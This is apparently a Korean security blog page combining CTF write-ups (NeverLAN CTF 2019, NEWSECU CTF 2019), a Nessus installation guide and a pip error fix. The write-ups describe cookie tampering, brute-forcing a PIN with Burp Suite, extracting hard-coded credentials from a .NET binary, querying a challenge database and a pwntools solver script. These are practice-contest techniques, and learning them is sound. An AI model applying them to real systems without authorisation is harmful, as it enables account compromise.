처음에 카이사르로 돌려봤는데 나오질 않아서 치환암호인것 같았다.


https://quipqiup.com/ 자동으로 치환암호를 풀어주는 이 사이트에 clue 없이 돌린다음에 WAFI=FLAG 라는 clue를 넣어주어 완벽한 해독문을 얻을 수 있었다.


flag : DOINGTHISBYHANDISMOREFUNTHANANONLINETOOL





scripting/coding


WebCipher

300

To verify that only computers can access the website, you must reverse the Caesar cipher There are a list of possible words that the cipher may be here

https://challenges.neverlanctf.com:1160


이게 왜 여기있고, 왜 300점이나 되는지 모르겠는 이상한 문제




페이지에 접속하면 문자열 하나와 입력폼 하나가 있다.


문자열을 카이사르로 돌리면 accelerator 가 나오는데 이를 입력해주면 플래그가 나온다.





사람이 푸는게 아니라 코드를 짜서 풀어야 하는 문제인건가...?




Binary


Binary 2

200

Our lead Software Engineer recently left and deleted all the source code and changed the login information for our employee payroll application. Without the login information none of our employees will be paid. Can you help us by finding the login information?

***Flag is all caps




.net이다. dotpeek으로 까보면 된다.






바로 flag를 확인할 수 있다. 하나하나 디코딩하기는 귀찮으니 나와있는 id와 pw을 입력해 flag를 출력하게 하면 된다.





flag : flag{ST0RING_STAT1C_PA55WORDS_1N_FIL3S_1S_N0T_S3CUR3}





Web


Cookie Monster

20

It's a classic https://challenges.neverlanctf.com:1110



페이지에 들어가면 He's my favorite Red guy 라고 하는데 쿠키몬스터에서 red guy의 이름은 Elmo다. 쿠키값에 그의 이름을 적는 쿠키가 있다. Elmo 를 적어주고 새로고침하면 플래그가 나온다.


flag : flag{YummyC00k13s}




Things are not always what they seem

50

if you can't find it you're not looking hard enough

https://challenges.neverlanctf.com:1165/hello.html


페이지 소스보면 있다. 정확히는 글씨가 하얀색으로 되어 있어서 페이지에서는 안보이는 것이다. 드래그하거나 컨트롤+a 를 하면 볼 수 있다.


flag : flag{Whale_w0u1d_y0u_l00k3y_th3r3}




SQL Fun 1

75

REPORT: 'My Customer forgot his Password. His Fname is Jimmy. Can you get his password for me? It should be in the users table'

https://challenges.neverlanctf.com:1150


SELECT * FROM users WHERE Fname = 'Jimmy'


flag : flag{SQL_F0r_Th3_W1n}




SQL Fun 2

75

REPORT: A Client forgot his Password... again. Could you get it for me? He has a users account and his Lname is Miller if that helps at all. Oh! and Ken was saying something about a new table called passwd; said it was better to separate things

https://challenges.neverlanctf.com:1155


SELECT * FROM users;


idUsernameFnameLnameEmail
1JohnJohnHancockWhyDoYouWantMy@email.com
2JimWillJimmyWillmanSQL@example.com
3CaptinJacksparrowpirates@carribean.com
4N30ZaneDurkininfo@neverlanctf.com
5DisUserTomMillerMiller@example.com


Lname이 Miller인 계정의 아이디는 5다.



SELECT * FROM passwd;


iduser_idPassword
11Tm9wZS4uLiBXcm9uZyB1c2Vy
25ZmxhZ3tXMWxsX1kwdV9KMDFOX00zP30=
32Tm9wZS4uLiBXcm9uZyB1c2Vy
43Tm9wZS4uLiBXcm9uZyB1c2Vy
54Tm9wZS4uLiBXcm9uZyB1c2Vy


user_id의 password를 base64 디코딩하면 플래그가 나온다.


flag : flag{W1ll_Y0u_J01N_M3?}




Console

75

You control the browser

https://challenges.neverlanctf.com:1120



조건이 성립했을 때 일어나는 명령어를 크롬 콘솔창에 입력했다 :


$.ajax({

                        type: 'GET',

                        url: '1/key.php',

                        success: function (file_html) {

                            // success

                           foo.innerHTML=(file_html)

                        }

})


그러면 응답 메세지 중에 플래그가 있다.


flag : flag{console_controls_js}

반응형

'CTF Write Up' 카테고리의 다른 글

TAMU CTF 2019 wirte up  (0) 2019.03.04
제 1회 TRUST CTF write up  (0) 2019.02.18
2019 NEWSECU CTF Write-Up  (0) 2019.02.04
YISF 2018 예선 write-up  (0) 2018.08.15
KYSIS CTF 2018 Write-Up  (0) 2018.08.07
반응형

M4ndU 41st place 460 points

개인팀으로 문제를 풀다가 2인팀으로 바꿨습니다.


Irin_M4ndU 16th place 1060 points


푼 문제들:

mic_check                 test

What_the...three         crypto

Can you Bruteforcing? Web

goback                 misc

Base64                 misc

Easy_Forensics(1)         forensics

Secret_Code_from...       misc

선물문제(저놈 잡아라)    gift

피보다진한...?               forensics

restore                       misc

Easy_Forensics(2)          forensics


그리고 풀다만 Flag Leaked ...





1. mic_check

test


flag : flag{test}



2. What_the...three

crypto



한때 우리 인류는 외계 생명체에 많은 관심을 가지고 있었다. 그래서 우리 인류는 외계에 지구를 소개하는 데이터를 전파에 넣고 전송을 했었는데,,, 그로부터 10년뒤,, 우리 인류는, 그것도 한국은 외계에서 보낸듯한 메시지를 수신받게 되었다. 그런데, 잠깐,,, 우리 인류가 사용하는 체계의 데이터가 아니었다... 과연 아래의 데이터는 무슨내용일까?

========== DATA START ========== 002121 002211 002102 002122 011120 010002 002101 011001 010112 002122 011111 001220 001210 011011 010112 010002 002101 011000 010112 002212 001220 001210 010222 010112 002122 001210 010112 010002 010220 011011 010112 002112 002101 010121 011122 ========== DATA END ============



3진법이다. 계산해서 ascii로 바꿔주면 된다.


flag : FLAG{S@m_Gy30p_S@l_M30k_G0_Sip_D@a}




3. Can you Bruteforcing?

Web


패스워드 입력 폼이 있는데, 패스워드는 숫자 4자리라고 한다.


burpsuit 돌려서 구했다.


password : 1016

flag : NEWSECU{Can_You_Brute_Force_This_Password} 




4. goback

misc


친구에게 사랑에 빠진 누군가가 있었다.

그 누군가는 드디어 20살이 된 기념으로 친구에게 고백을 하기위해 파일을 작성하였다.

그런데, 그 누군가는 해커기질이 너무 강해서인지,

고백하기 위한 문장 마저 파일 내부에 숨겨버렸는데,,

과연, 그 남자의 운명은 어떻게 될 것인가..


hwp파일이 주어진다.


hwpscan2라는 프로그램으로 까보면 png파일이 하나 있는데, hex(Decompress)로 보면 끝부분에 플래그가 있다.




flag : FLAG{He_was_a_car...}

그는 차였어...........ㅠㅠ



5. Base64
misc


nc 35.237.96.115 1357 base64를 3번 디코딩하라!


코드 짜서 돌리면 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import base64
#context.log_level='debug'
 
def base64ToString(b):
    first = base64.b64decode(b).decode('utf-8')
    return first
 
#connect nc
= remote("35.237.96.115"1357)
 
for i in range(3):
    text = p.recvline()
    dec = base64ToString(text.strip())
    p.recvline()
    p.recvuntil(":")
    p.sendline(dec)
 
p.recvline()
 
cs


flag : FLAG{simple_base64_decoding}




6. Easy_Forensics(1)

forensics


윈도우 로그인 암호를 찾아라!


제가 푼 문제가 아니라서 pass

해시 돌리면 된다고 했던 것 같다.


password : st4rt



7. Secret_Code_from...

misc


이것도 제가 푼 문제가 아니라서 pass



8. 선물문제(저놈 잡아라)

gift


pass




9. 피보다진한...?

forensics


pass




10. restore

misc


포토샵 노가다 하면 풀린다고 한다.

파워노가다




11. Easy_Forensics(2)

forensics


이미지를 찾아라! 폴더에서 Flag_Image.png파일을 stegsolve.jar 프로그램 돌리면 플래그 이미지가 나온다.


바탕화면에 HxD 깔려있어서 hex로 별짓 다했던 문제..ㅠㅠ



12. Easy_Forensics(4)

flag.zip파일을 더블클릭하면 셧다운이 예약된다. 반디집 프로그램 자체를 실행하면 셧다운이 걸리는 것인데.

이렇게 만드는 파이썬 코드와 파이썬 코드를 실행하는 쉘을 각각 유저/공용/음악폴더와 시작프로그램 폴더에서 찾을 수 있다.

그리고 모르겠다..


12. Flag Leaked


com.android.provider.telephony/ 이쪽에 mmssms.db라는 파일이 있다. db뷰어로 이 파일을 보면 메세지 내용을 확인 할 수 있다.


메세지에 담긴 링크로 암호화된 문자열이 있는 flag.txt  와 이를 복호화해주는 apk파일, pw 문자열을 얻을 수 있다.


flag.txt를 Download폴더에 넣고, 폰에 앱을 설치해 복호화를 시도했는데, 실패했다...

반응형

'CTF Write Up' 카테고리의 다른 글

제 1회 TRUST CTF write up  (0) 2019.02.18
NeverLAN CTF 2019 write up  (0) 2019.02.04
YISF 2018 예선 write-up  (0) 2018.08.15
KYSIS CTF 2018 Write-Up  (0) 2018.08.07
H3X0R 4rd CTF 2018 Write-up  (0) 2018.07.29
반응형

1. nessus 다운로드


https://www.tenable.com/downloads/nessus


위 링크를 통해 다운로드 받으실 수 있습니다. 





자신의 운영체제에 맞는 설치파일을 다운받으시면 됩니다.


저는 kali linux 64bit에 설치할 것이기 때문에, 첫 번째에 있는 설치파일을 다운받았습니다.







2. activation code 얻기


아까 다운로드 페이지 상단에서 get activation code 를 클릭합니다.






오른쪽 nessus home의 register now 클릭





이름과 이메일을 입력해줍니다. 그러면 입력한 메일로 코드가 오게 됩니다.






3. nessus 설치


터미널에서 다운받은 경로에서 아래 명령어를 입력해줍니다.


chmod +x Nessus-8.2.1-debian6_amd64.deb

dpkg -i Nessus-8.2.1-debian6_amd64.deb 


(Nessus-8.2.1-debian6_amd64.deb 는 제가 받은 설치 파일명입니다.)




설치가 완료되면 터미널에 나온 메세지에 따라서


/etc/init.d/nessusd start


로 시작하고

그 아랫줄에 나온 url을 브라우저에 입력해서 접속해 줍니다.




Advanced > add Exepction...





(1/3) 계정 생성





(2/3) 코드 입력






(3/3) 이 부분은 시간이 상당히 오래 걸립니다. 기다리시면 됩니다.






에러가 날 경우, kali linux 기준으로, /opt/nessus/sbin에서 ./nessuscli update 명령어를 실행하면 다시 다운로드를 받을 수 있습니다. 필요 용량은 약 30GB라고 합니다.




설치가 완료되면, 페이지에서 로그인 하시면 됩니다,








4. 사용 방법



New Scan 클릭




저는 basic network scan을 해보겠습니다.





이름, 설명, ip를 입력해주고 save





launch 버튼을 클릭해 스캔을 시작합니다.










스캔이 완료된 후에 들어가보면, 찾은 취약점 정보를 확인할 수 있습니다.


반응형
반응형

Traceback (most recent call last):

  File "/usr/bin/pip", line 9, in <module>

    from pip import main

ImportError: cannot import name main



위와같은 에러가 나온다면 아래 명령어를 입력해서 해결할 수 있다.


python -m pip uninstall pip

반응형

+ Recent posts